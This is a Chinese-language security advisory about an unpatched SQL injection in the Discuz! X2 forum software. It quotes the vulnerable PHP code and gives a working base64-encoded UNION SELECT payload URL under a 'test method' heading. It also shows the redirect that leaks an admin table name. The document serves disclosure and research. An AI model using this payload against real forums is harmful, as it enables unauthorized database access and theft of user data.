受影响系统:
Discuz! Discuz!
描述:
Discuz论坛软件系统亦称电子公告板(BBS)系统,它伴随社区BBS的流行而成为互联网最重要的应用之一,也逐渐成为网站核心竞争力的标志性体现。
Discuz! X2在处理请求数据时存在SQL注入漏洞,远程攻击者可利用此漏洞非授权操作数据库。
漏洞存在于如下代码中:
if(!defined(‘IN_DISCUZ’)) {
exit(‘Access Denied’);
}
define(‘NOROBOT’, TRUE);
@list($_G[‘gp_aid’], $_G[‘gp_k’], $_G[‘gp_t’], $_G[‘gp_uid’], $_G[‘gp_tableid’]) = explode(‘|’, base64_decode($_G[‘gp_aid’]));
if(!empty($_G[‘gp_findpost’]) && ($attach = DB::fetch_first("SELECT pid, tid FROM ".DB::table(‘forum_attachment’)." WHERE aid=’$_G[gp_aid]’"))) {
dheader(‘location: forum.php?mod=redirect&goto=findpost&pid=’.$attach[‘pid’].’&ptid=’.$attach[‘tid’]);
}
变量aid在base64_decode操作后直接进入SQL查询,导致SQL注入问题。
<*来源:Magistrate
链接:http://www.cnxiaoniu.com/post-83.html
http://sebug.net/exploit/20671/
*>
测试方法:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!http://www.xxxx.net/forum.php?mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsVEFCTEVfTkFNRSBmcm9tIElORk9STUFUSU9OX1NDSEVNQS5UQUJMRVMgd2hlcmUgVEFCTEVfU0NIRU1BPWRhdGFiYXNlKCkgYW5kICBUQUJMRV9OQU1FIGxpa2UgJyVfbWVtYmVyfHh8eHx4fHg%3D
转向后网址
http://www.xxxx.net/forum.php?mod=redirect&goto=findpost&pid=1&ptid=pre_common_admincp_member
暴出表名 pre_common_admincp_member
实际查询为:
$x="1′ and 1=2 union all select 1,TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=database() and TABLE_NAME like ‘%_member|x|x|x|x";
//die (urlencode(base64_encode($x)));
建议:
厂商补丁:
Discuz!
——-
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
0 条评论。